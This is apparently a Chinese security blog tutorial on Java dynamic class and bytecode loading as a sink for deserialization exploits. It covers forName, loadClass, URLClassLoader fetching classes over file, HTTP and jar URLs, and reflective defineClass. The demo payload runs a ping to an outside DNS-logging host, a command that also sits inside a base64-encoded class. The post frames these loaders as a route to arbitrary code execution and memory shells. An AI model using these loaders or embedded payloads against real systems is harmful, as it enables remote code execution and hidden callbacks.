动态加载字节码技术

Oyst3r 于 2024-05-17 发布

前言

七七八八也学了不少链子,都是很固定 🧷 的套路EntryClass-->gadget-->sink,目前 sink 这个点还只是单一的命令执行,能力是十分有限的,例如现在有需要回显,注入内存 shell 等场景,单凭一个Runtime.getRuntime().exec("xxx");它是很难去做到的,而动态加载字节码技术就是来解决这个问题的,把 sink 能造成的危害无限扩大。

调试代码

会遇到一些新名词,例如AppClassLoaderURLClassLoaderClassLoader#defineClass等等,写几个 demo 调试一下,看看这些新名词的真面目。

1.首先还是回到 forname 函数,它是动态类加载的一种实现方式。

写一个 DNS 类,如下–>

import java.io.IOException;

public class DNS {
    static{
        try {
            Runtime.getRuntime().exec("ping 6y7d5.cxsys.spacestabs.top");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

写一个 Loader 类去加载它–>

public class Loader {
    public static void main(String[] args) throws Exception {
        Class<?> clazz = Class.forName("DNS");
    }
}

此时执行 main 函数后,命令被成功的执行,结果如下–>

Class<?> clazz = Class.forName("DNS");处下断点调试,跟到 forName 函数里面它实际上是去继续调用了 forName0 函数

它四个参数:className 只是一个字符串、true 代表该类要初始化、剩下两个参数全和 caller 有关,它的具体信息如下–>

ClassLoader.getClassLoader(caller)的返回值就是上图中框中的Launcher$AppClassLoader,它是Launcher类的一个内部类。现在将它提到函数外,用 forname 的另一个重载函数去加载 DNS 类,如下–>

public class Loader {
    public static void main(String[] args) throws Exception {
        ClassLoader loader = Loader.class.getClassLoader();
        Class<?> clazz = Class.forName("DNS", true, loader);
    }
}

Tips:Loader.class.getClassLoader();的结果就是Launcher$AppClassLoader,AppClassLoader(应用程序类加载器)是面向用户的加载器,负责加载当前应用 classpath 下的所有 jar 包和类。

说到底 forname 函数其中还是主要靠这个 ClassLoader,类的加载主要靠的是 ClassLoader,当然可以用 forname 去加载一个恶意类,但 forname 实在是被封装的太多了(封装的越多、功能越精确、漏洞利用的可能性反而会降低),真实情况下怎么可能被当作一个 sink?接下来将 demo 写的更底层一点。

2.利用 ClassLoader.loadClass()函数去加载 DNS 类,如下–>

public class Loader {
    public static void main(String[] args) throws Exception {
        ClassLoader loader = Loader.class.getClassLoader();
        loader.loadClass("DNS");
    }
}

此时执行 main 函数后,命令没有被成功执行,证明用 ClassLoader.loadClass()去加载一个类,它默认是不会去初始化这个类的,相当于Class<?> clazz = Class.forName("DNS", false, loader);,得显式地调用其构造 函数,初始化代码才能被执行,如下–>

public class Loader {
    public static void main(String[] args) throws Exception {
        ClassLoader loader = Loader.class.getClassLoader();
        Class<?> dns = loader.loadClass("DNS");
        dns.newInstance();
    }
}

下断点调试一下,跟到 loadClass 函数,由于 loader 是Launcher$AppClassLoader,所以在经历了 loadClass 函数的初始化后,会进入到Launcher$AppClassLoader.loadClass函数,如下–>

Launcher$AppClassLoader.loadClass最后还是去调用了它父类 URLClassLoader 的 loadClass 函数,如下–>

父类的内部类 FactoryURLClassLoader 有一个 loadClass,父类并没有 loadClass 函数,所以会去 URLClassLoader 的父类 SecureClassLoader 去找 loadClass 函数,它同样没有,再去 SecureClassLoader 的父类 ClassLoader 去找,最终调用到了ClassLoader.loadClass函数,如下–>

ClassLoader.loadClass函数的内部逻辑是双亲委派模型,上文提到的 AppClassLoader 就是双亲委派模型中的一种类加载器,同样的还有两种类加载器分别是:ExtensionClassLoader、BootstrapClassLoader。除了这三种类加载器之外,用户还可以加入自定义的类加载器来进行拓展,以满足自己的特殊需求。就比如说,可以对 Java 类的字节码( .class 文件)进行加密,加载时再利用自定义的类加载器对其解密。类加载的工作过程如下–>

在双亲委派模型中,代码接下来会一层层的向上找,从 AppClassLoader 到 ExtensionClassLoader 到 BootstrapClassLoader,检查是否加载过 DNS 类,由于是第一次肯定是没有被加载过的,然后在自上而下的尝试去加载类,由于在 demo 代码中,DNS 类是自己实现的类所以会在 AppClassLoader 中去加载这个类,见下图–>

Tips:不是在 AppClassLoader 中去尝试加载的类吗?为何会在 URLClassLoader 中去尝试加载呢?因为 APPClassLoader 中没有 findClass 这个函数,而 URLClassLoader 是它的父类,所以便到了 URLClassLoader 的 findClass 函数,去发现类并尝试加载类。其实 ExtensionClassLoader 也是一样的,同样是走的 URLClassLoader 的 findClass 函数,只不过它的Resource res = ucp.getResource(path, false);这一行代码运行结果为 null,AppClassLoader 的运行结果不为 null。

接着就是到 URLClassLoader 类的defineClass(name, res);函数中–>

而它的最后会调用一个重载的 defineClass 函数,也就是它父类的 defineClass 函数如下–>

而 SecureClassLoader 类又会调用到它父类 ClassLoader 的 defineClass 函数,如下–>

最终去调用了 defineClass1 函数,它是一个 native 的方法,整个调用栈如下–>

至此 DNS 类加载完成!

取其精华

调试 loadClass 函数的整个过程费了不少功夫,梳理一下其中的关系–>

其中精华就是关键的三个函数,loadClass 函数、findClass 函数、defineClass 函数,上述 demo 已经用 loadClass 函数去加载了 DNS 类,除了它当然还可以用其他两个函数去加载类–>利用 URLClassLoader 加载远程 class 文件和利用 ClassLoader#defineClass 直接加载字节码。

利用 URLClassLoader 加载远程 class 文件

URLClassLoader 的 findClass 函数不能直接调用,只能通过 loadClass 函数去加载,此时不仅仅是可以加载本地路径的类,还可以通过协议去远程加载类。

1.file 协议加载 class 文件,代码如下–>

import java.net.URL;
import java.net.URLClassLoader;

public class Loader {
    public static void main(String[] args) throws Exception {
        URL[] urls = {new URL("file:///E:\\")};
        URLClassLoader urlClassLoader = new URLClassLoader(urls);
        Class c = urlClassLoader.loadClass("DNS");
        c.newInstance();
    }
}

2.HTTP 协议加载 class 文件,其中在 E 盘根目录用 python 起一个 http 服务即可,代码如下–>

import java.net.URL;
import java.net.URLClassLoader;

public class Loader {
    public static void main(String[] args) throws Exception {
        URL[] urls = {new URL("http://localhost:8000/")};
        URLClassLoader urlClassLoader = new URLClassLoader(urls);
        Class c = urlClassLoader.loadClass("DNS");
        c.newInstance();
    }
}

3.file+jar 协议,在原目录运行jar -cvf DNS.jar DNS.class,接着复制到 E 盘,书写一个 Loader 类去加载,代码如下–>

import java.net.URL;
import java.net.URLClassLoader;

public class Loader {
    public static void main(String[] args) throws Exception {
        URL[] urls = {new URL("jar:file:///E:\\DNS.jar!/")};
        URLClassLoader urlClassLoader = new URLClassLoader(urls);
        Class c = urlClassLoader.loadClass("DNS");
        c.newInstance();
    }
}

4.同样的 HTTP + jar 协议,代码如下–>

import java.net.URL;
import java.net.URLClassLoader;

public class Loader {
    public static void main(String[] args) throws Exception {
        URL[] urls = {new URL("jar:http://localhost:8000/DNS.jar!/")};
        URLClassLoader urlClassLoader = new URLClassLoader(urls);
        Class c = urlClassLoader.loadClass("DNS");
        c.newInstance();
    }
}

以上的四个 demo 均可以触发 DNS 请求,如下–>

最好用的肯定是 Http 协议的加载,如果能够控制目标 Java ClassLoader 的基础路径为一个 http 服务器,则可以利 用远程加载的方式执行任意代码!

利用 ClassLoader#defineClass 直接加载字节码

看 defineClass 函数的参数,name 为类名,b 为字节码数组,off 为偏移量,len 为字节码数组的长度,详情 🔎 如下–>

ClassLoader 是抽象类,没有办法实例化,所以只能用它的子类来实例化,这里用 AppClassLoader 来实例化。defineClass 是 private 的,则只能反射调用。代码如下–>

import java.lang.reflect.Method;
import java.util.Base64;

public class Loader {
    public static void main(String[] args) throws Exception {
        ClassLoader appClassLoader = Loader.class.getClassLoader();
        Method defineClass = ClassLoader.class.getDeclaredMethod(
                "defineClass",
                String.class,
                byte[].class,
                int.class,
                int.class
        );
        defineClass.setAccessible(true);
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMRE5TOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQAIRE5TLmphdmEMAAoACwcAIgwAIwAkAQAfcGluZyA2eTdkNS5jeHN5cy5zcGFjZXN0YWJzLnRvcAwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACcBAANETlMBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAMADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAYACQAJAAwABwANAAgAFgAKAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=");
        Class hello = (Class)defineClass.invoke(appClassLoader, "DNS", code, 0, code.length);
        hello.newInstance();
    }
}

Tips:其中 code 的数据可以用cat DNS.class | base64来生成。

成功触发 DNS 请求,如下–>

至此,动态加载字节码技术完毕!